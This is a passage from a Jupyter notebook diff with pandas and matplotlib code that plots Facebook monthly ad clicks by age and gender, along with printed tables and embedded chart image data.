" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + } + ], + "source": [ + "import matplotlib.pyplot as plt\n", + "import pandas as pd\n", + "import numpy as np\n", + "\n", + "stats = pd.read_csv(\"D:\\DataScience\\Facebook Data Analysis\\FB18.csv\", header=0, sep=\",\")\n", + "print(\"Table :\\n\")\n", + "print(stats)\n", + "\n", + "df = pd.DataFrame(stats)\n", + "x = list(df.iloc[:, 0])\n", + "y = list(df.iloc[:, 1])\n", + "z = list(df.iloc[:, 2])\n", + "\n", + "N = len(x)\n", + "ind = np.arange(N)\n", + "plt.figure(figsize=(21,10))\n", + "width = 0.2\n", + "\n", + "# Plotting\n", + "plt.figure(figsize=(20,10))\n", + "plt.grid(axis='y', color='g')\n", + "plt.bar(ind, y , width, label='Female', color='orange')\n", + "plt.bar(ind + width, z, width, label='Male',color='c')\n", + "\n", + "\n", + "plt.xticks(ind + width / 2, x)\n", + "\n", + "plt.xlabel(\"Age\")\n", + "plt.ylabel(\"30-day median\")\n", + "plt.title(\"Facebook monthly ad clicks by age and gender\")\n", + "\n", + "# Finding the best position for legends and putting it\n", + "plt.legend(loc='best')\n", + "plt.show()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "## Facebook page content types" + ] + }, + { + "cell_type": "code", + "execution_count": 11, + "metadata": {}, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Table :\n", + "\n", + " Age Female Male\n", + "0 18-24 10 8\n", + "1 25-34 13 9\n", + "2 35-44 18 12\n", + "3 45-54 19 11\n", + "4 55-64 19 11\n", + "5 65+ 14 9\n" + ] + }, + { + "data": { + "image/png": "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